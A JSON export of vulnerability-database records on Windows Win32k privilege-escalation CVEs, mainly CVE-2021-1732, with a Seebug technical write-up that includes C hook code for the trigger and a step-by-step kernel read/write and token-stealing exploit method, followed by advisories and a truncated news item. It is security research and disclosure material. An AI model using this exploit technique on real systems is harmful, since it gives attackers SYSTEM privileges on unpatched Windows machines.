"seebug": [{"lastseen": "2021-08-26T20:38:29", "description": "# CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds\n\nMar 25, 2021 \u2022 iamelli0t\n\nCVE-2021-1732 is a 0-Day vulnerability exploited by the BITTER APT\norganization in one operation which was disclosed in February this\nyear[1][2][3]. This vulnerability exploits a user mode callback opportunity in\nwin32kfull module to break the normal execution flow and set the error flag of\nwindow object (tagWND) extra data, which results in kernel-space out-of-bounds\nmemory access violation.\n\n## Root cause analysis\n\nThe root cause of CVE-2021-1732 is: \nIn the process of creating window (CreateWindowEx), when the window object\ntagWND has extra data (tagWND.cbwndExtra != 0), the function pointer of\nuser32!_xxxClientAllocWindowClassExtraBytes saved in\nntdll!_PEB.kernelCallbackTable (offset+0x58) in user mode will be called via\nthe nt!KeUserModeCallback callback mechanism, and the system heap allocator\n(ntdll!RtlAllocateHeap) is used to allocate the extra data memory in user-\nspace. \nBy hooking user32!_xxxClientAllocWindowClassExtraBytes function in user mode,\nand modifying the properties of the window object extra data in the hook\nfunction manually, the kernel mode atomic operation of allocating memory for\nextra data can be broken, then the out-of-bounds read/write ability based on\nthe extra data memory is achieved finally. \n\n\nThe normal flow of the window object creation (CreateWindowEx) process is\nshown as follows (partial): \n![avatar](https://images.seebug.org/1616724448986-w331s) \n\n\nFrom the above figure, we can see that: when the window extra data size\n(tagWND.cbWndExtra) is not 0, win32kfull!xxxCreateWindowEx calls the user mode\nfunction user32!_xxxClientAllocWindowClassExtraBytes via the kernel callback\nmechanism, requests for the memory of the window extra data in user-space.\nAfter allocation, the pointer of allocated memory in user-space will be\nreturned to the tagWND.pExtraBytes property: \n![avatar](https://images.seebug.org/1616724450357-w331s) \n\n\nHere are two modes of saving tagWND extra data address (tagWND.pExtraBytes): \n[Mode 1] **In user-space system heap** \nAs the normal process shown in the figure above, the pointer of extra data\nmemory allocated in user-space system heap is saved in tagWND.pExtraBytes\ndirectly. \nOne tagWND memory layout of Mode 1 is shown in the following figure: \n![avatar](https://images.seebug.org/1616724451170-w331s) \n\n\n[Mode 2] **In kernel-space desktop heap** \nThe function ntdll!NtUserConsoleControl allocates extra data memory in kernel-\nspace desktop heap by function DesktopAlloc, calculates the offset of\nallocated extra data memory address to the kernel desktop heap base address,\nsaves the offset to tagWND.pExtraBytes, and modifies tagWND.extraFlag |=\n0x800: \n![avatar](https://images.seebug.org/1616724452136-w331s) \n\n\nOne tagWND memory layout of Mode 2 is shown in the following figure:\n![avatar](https://images.seebug.org/1616724453007-w331s) \n\n\nSo we can hook the function user32!_xxxClientAllocWindowClassExtraBytes in\nuser-space, call NtUserConsoleControl manually in hook function to modify the\ntagWND extra data storage mode from Mode 1 to Mode 2, call\nntdll!NtCallbackReturn before the callback returns: \n![avatar](https://images.seebug.org/1616724456200-w331s) \n\n\nThen return the user mode controllable offset value to tagWND.pExtraBytes\nthrough ntdll!NtCallbackReturn, and realize the controllable offset out-of-\nbounds read/write ability based on the kernel-space desktop heap base address\nfinally. \n\n\nThe modified process which can trigger the vulnerability is shown as follows: \n![avatar](https://images.seebug.org/1616724456799-w331s) \n\n\nAccording to the modified flowchart above, the key steps of triggering this\nvulnerability are explained as follows: \n\n 1. Modify the user32!_xxxClientAllocWindowClassExtraBytes function pointer in PEB.kernelCallbackTable to a custom hook function.\n 2. Create some normal window objects, and leak the user-space memory addresses of these tagWND kernel objects through user32!HMValidateHandle.\n 3. Destroy part of the normal window objects created in step 2, and create one new window object named 'hwndMagic' with the specified tagWND.cbwndExtra. The hwndMagic can probably reuse the previously released window object memory. Therefore, by searching the previously leaked window object user-space memory addresses with the specified tagWND.cbwndExtra in the custom hook function, the hwndMagic can be found before CreateWindowEx returns.\n 4. Call NtUserConsoleControl in the custom hook function to modify the tagWNDMagic.extraFlag with flag 0x800.\n 5. Call NtCallbackReturn in the custom hook function to assign a fake offset to tagWNDMagic.pExtraBytes.\n 6. Call SetWindowLong to write data to the address of kernel-space desktop heap base address + specified offset, which can result in out-of-bounds memory access violation.\n\nAn implementation of the hook function is demonstrated as follows: \n\n\n\u200b \n\n void* WINAPI MyxxxClientAllocWindowClassExtraBytes(ULONG* size) {\n \n \tdo {\n \t\tif (MAGIC_CBWNDEXTRA == *size) {\n \t\t\tHWND hwndMagic = NULL;\n \t\t\t//search from freed NormalClass window mapping desktop heap\n \t\t\tfor (int i = 2; i < 50; ++i) {\n \t\t\t\tULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + _WND_CBWNDEXTRA_OFFSET);\n \t\t\t\tif (MAGIC_CBWNDEXTRA == cbWndExtra) {\n \t\t\t\t\thwndMagic = (HWND)*(ULONG_PTR*)(g_pWnd[i]);\n \t\t\t\t\tprintf(\"[+] bingo! find &hwndMagic = 0x%llx in callback :) \\n\", g_pWnd[i]);\n \t\t\t\t\tbreak;\n \t\t\t\t}\n \t\t\t}\n \t\t\tif (!hwndMagic) {\n \t\t\t\tprintf(\"[-] Not found hwndMagic, memory layout unsuccessfully :( \\n\");\n \t\t\t\tbreak;\n \t\t\t}\n \n \t\t\t// 1. set hwndMagic extraFlag |= 0x800\n \t\t\tCONSOLEWINDOWOWNER consoleOwner = { 0 };\n \t\t\tconsoleOwner.hwnd = hwndMagic;\n \t\t\tconsoleOwner.ProcessId = 1;\n \t\t\tconsoleOwner.ThreadId = 2;\n \t\t\tNtUserConsoleControl(6, &consoleOwner, sizeof(consoleOwner));\n \n \t\t\t// 2. set hwndMagic pExtraBytes fake offset\n \t\t\tstruct {\n \t\t\t\tULONG_PTR retvalue;\n \t\t\t\tULONG_PTR unused1;\n \t\t\t\tULONG_PTR unused2;\n \t\t\t} result = { 0 };\t\t\n \t\t\t//offset = 0xffffff00, access memory = heap base + 0xffffff00, trigger BSOD\t\n \t\t\tresult.retvalue = 0xffffff00;\t\t\t\n \t\t\tNtCallbackReturn(&result, sizeof(result), 0);\n \t\t}\n \t} while (false);\n \n \treturn _xxxClientAllocWindowClassExtraBytes(size);\n }\n\n\nBSOD snapshot: \n![avatar](https://images.seebug.org/1616724457674-w331s) \n\n\n## Exploit analysis\n\nFrom Root cause anaysis, we can see that: \n**\" An opportunity to read/write data in the address which calculated by the\nkernel-space desktop heap base address + specified offset\"** can be obtained\nvia this vulnerability.\n\n\nFor the kernel mode exploitation, the attack target is to obtain system token\ngenerally. A common method is shown as follows: \n\n 1. Exploit the vulnerability to obtain a arbitrary memory read/write primitive in kernel-space.\n 2. Leak the address of some kernel object, find the system process through the EPROCESS chain.\n 3. Copy the system process token to the attack process token to complete the privilege escalation job.\n\nThe obstacle is step 1: How to exploit **\" An opportunity to read/write data\nin the address which calculated by the kernel-space desktop heap base address\n\n+ specified offset\"** to obtain the arbitrary memory read/write primitive in\n kernel-space. \n\nOne solution is shown in the following figure: \n![avatar](https://images.seebug.org/1616724459293-w331s) \n\n\n 1. The offset of tagWNDMagic extra data (wndMagic_extra_bytes) is controllable via the vulnerability, so we can use SetWindowLong to modify the data in specified address calculated by desktop heap base address + controllable offset.\n 2. Use the vulnerability ability to modify tagWNDMagic.pExtraBytes to the offset of tagWND0 (the offset of tagWND0 is obtained by tagWND0+0x8), call SetWindowLong to modify tagWND0.cbWndExtra = 0x0fffffff to obtain a tampered tagWND0.pExtraBytes which can achieve read/write out-of-bounds.\n 3. Calculate the offset from tagWND0.pExtraBytes to tagWND1, call SetWindowLongPtr to replace the spMenu of tagWND1 with a fake spMenu by the tampered tagWND0.pExtraBytes, realize the arbitrary memory read ability with the help of fake spMenu and function GetMenuBarInfo. \n The logic of GetMenuBarInfo to read the data in specified address is shown as\n follows, the 16 bytes data is stored into MENUBARINFO.rcBar structure:\n ![avatar](https://images.seebug.org/1616724460069-w331s) \n\n\n 4. Use the tampered tagWND0.pExtraBytes to modify tagWND1.pExtraBytes with specified address, and use the SetWindowLongPtr of tagWND1 to obtain the arbitrary memory write ability.\n 5. After obtaining the arbitrary memory read/write primitive, we need to leak a kernel object address in desktop heap to find EPROCESS. Fortunately, when setting the fake spMenu for tagWND1 in step 3, the return value of SetWindowLongPtr is the kernel address of original spMenu, which can be used directly.\n 6. Finally, find the system process by traversing the EPROCESS chain, and copy the system process token to the attack process to complete the privilege escalation job. This method is relatively common, so will not be described in detail.\n\nThe final privilege escalation demonstration: \n![avatar](https://images.seebug.org/1616724461559-w331s) \n\n\n## References\n\n[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732 \n[2] https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-\nzero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/ \n[3]\nhttps://www.virustotal.com/gui/file/914b6125f6e39168805fdf57be61cf20dd11acd708d7db7fa37ff75bf1abfc29/detection \n[4] https://en.wikipedia.org/wiki/Privilege_escalation", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, 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This CVE ID is unique from CVE-2019-0797.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-04-09T03:29:00", "type": "cve", "title": "CVE-2019-0808", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808"], "modified": "2020-08-24T17:37:00", "cpe": ["cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_7:sp1", "cpe:/o:microsoft:windows_server_2008:r2"], "id": "CVE-2019-0808", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-0808", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:itanium:*"]}], "mscve": [{"lastseen": "2023-06-14T15:26:10", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-27072.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T07:00:00", "type": "mscve", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27072", "CVE-2021-28310"], "modified": "2021-04-13T07:00:00", "id": "MS:CVE-2021-28310", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:26:13", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28310.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T07:00:00", "type": "mscve", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27072", "CVE-2021-28310"], "modified": "2021-04-13T07:00:00", "id": "MS:CVE-2021-27072", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27072", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:27:30", "description": "An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.\n\nThe update addresses this vulnerability by correcting how Win32k handles objects in memory.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-03-12T07:00:00", "type": "mscve", "title": "Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797"], "modified": "2019-03-12T07:00:00", "id": "MS:CVE-2019-0797", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0797", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-14T15:26:37", "description": "Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1698.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-09T08:00:00", "type": "mscve", "title": "Windows Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1698", "CVE-2021-1732"], "modified": "2021-04-06T07:00:00", "id": "MS:CVE-2021-1732", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1732", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T15:26:37", "description": "Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1732.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-09T08:00:00", "type": "mscve", "title": "Windows Win32k Elevation of Privilege Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1698", "CVE-2021-1732"], "modified": "2021-02-09T08:00:00", "id": "MS:CVE-2021-1698", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1698", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "symantec": [{"lastseen": "2021-06-08T19:05:46", "description": "### Description\n\nMicrosoft Windows is prone to a local privilege-escalation vulnerability. An attacker can exploit this issue to execute arbitrary code with elevated privileges. Failed exploit attempts may result in a denial of service condition.\n\n### Technologies Affected\n\n * Microsoft Windows 10 Version 1607 for 32-bit Systems \n * Microsoft Windows 10 Version 1607 for x64-based Systems \n * Microsoft Windows 10 Version 1709 for ARM64-based Systems \n * Microsoft Windows 10 Version 1803 for 32-bit Systems \n * Microsoft Windows 10 Version 1803 for ARM64-based Systems \n * Microsoft Windows 10 Version 1803 for x64-based Systems \n * Microsoft Windows 10 Version 1809 for 32-bit Systems \n * Microsoft Windows 10 Version 1809 for ARM64-based Systems \n * Microsoft Windows 10 Version 1809 for x64-based Systems \n * Microsoft Windows 10 for 32-bit Systems \n * Microsoft Windows 10 for x64-based Systems \n * Microsoft Windows 10 version 1703 for 32-bit Systems \n * Microsoft Windows 10 version 1703 for x64-based Systems \n * Microsoft Windows 10 version 1709 for 32-bit Systems \n * Microsoft Windows 10 version 1709 for x64-based Systems \n * Microsoft Windows 8.1 for 32-bit Systems \n * Microsoft Windows 8.1 for x64-based Systems \n * Microsoft Windows RT 8.1 \n * Microsoft Windows Server 1709 \n * Microsoft Windows Server 1803 \n * Microsoft Windows Server 2012 \n * Microsoft Windows Server 2012 R2 \n * Microsoft Windows Server 2016 \n * Microsoft Windows Server 2019 \n\n### Recommendations\n\n**Permit local access for trusted individuals only. Where possible, use restricted environments and restricted shells.** \nEnsure that only trusted users have local, interactive access to affected computers.\n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2019-03-12T00:00:00", "type": "symantec", "title": "Microsoft Windows Win32k CVE-2019-0797 Local Privilege Escalation Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2019-0797"], "modified": "2019-03-12T00:00:00", "id": "SMNTC-107330", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/107330", "cvss": {"score": 0.0, "vector": "NONE"}}], "prion": [{"lastseen": "2023-08-16T02:49:02", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28310.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T20:15:00", "type": "prion", "title": "CVE-2021-27072", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27072", "CVE-2021-28310"], "modified": "2022-05-03T16:04:00", "id": "PRION:CVE-2021-27072", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-27072", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T02:55:34", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-27072.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-13T20:15:00", "type": "prion", "title": "CVE-2021-28310", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-27072", "CVE-2021-28310"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-28310", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-28310", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T00:45:36", "description": "Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1698.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-25T23:15:00", "type": "prion", "title": "CVE-2021-1732", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1698", "CVE-2021-1732"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-1732", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-1732", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-08-16T00:45:32", "description": "Windows Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-1732.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-25T23:15:00", "type": "prion", "title": "CVE-2021-1698", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1698", "CVE-2021-1732"], "modified": "2021-03-03T19:03:00", "id": "PRION:CVE-2021-1698", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-1698", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2022-02-10T00:00:00", "description": "If you\u2019re running Windows 10, it\u2019s time to stop delaying those patches and bring your systems up to date as soon as possible.\n\nBleeping Computer [reports](<https://www.bleepingcomputer.com/news/microsoft/windows-vulnerability-with-new-public-exploits-lets-you-become-admin/>) that a researcher has come up with a bypass for an older bug, which could serve up some major headaches if left to fester. Those headaches will take the form of unauthorised admin privileges in Windows 10, alongside creating new admin accounts and more besides.\n\n## What happened the first time round?\n\nBack in 2021, Microsoft patched an exploit which had [been in use](<https://www.bleepingcomputer.com/news/security/recently-fixed-windows-zero-day-actively-exploited-since-mid-2020/>) since mid-2020. Classed as \u201chigh-severity\u201d, \u201cCVE-2021-1732 - Windows Win32k Elevation of Privilege Vulnerability\u201d allowed attackers to elevate privileges to admin level.\n\nFooling potential victims by having them open bogus email attachments is all it would take to get one foot in the door via code execution. It popped up in a [targeted attack](<https://ti.dbappsecurity.com.cn/blog/articles/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) related to the [Bitter APT](<https://www.forbes.com/sites/thomasbrewster/2021/09/17/exodus-american-tech-helped-india-spy-on-china>) campaign. According to the report, numbers were \u201cvery limited\u201d and struck victims in China.\n\n## What\u2019s happening now?\n\nMultiple exploits have dropped for another elevation of privilege vulnerability known as [CVE-2022-21882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882>). This is a bypass for the previously mentioned [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732>) which was fixed back in February 2021. CVE-2022-21882 was fixed by Microsoft via updates from January 2022. However, sys admins out there may well have skipped the updates due to [various bugs](<https://www.bleepingcomputer.com/news/microsoft/new-windows-server-updates-cause-dc-boot-loops-break-hyper-v/>) which came along for the update ride.\n\n## Time to get fixing things?\n\nIt is absolutely time to get fixing things. The exploit is now out there in the wild, and as Bleeping Computer notes, it \u201caffects all supported support versions of Windows 10 before the January 2022 Patch Tuesday updates\u201d. \n\nWriters at Bleeping Computer were able to get it to work in testing, and others have confirmed it for themselves:\n\n> Interestingly, [#MDE](<https://twitter.com/hashtag/MDE?src=hash&ref_src=twsrc%5Etfw>) detects this PoC as CVE-2021-1732. \nThis is 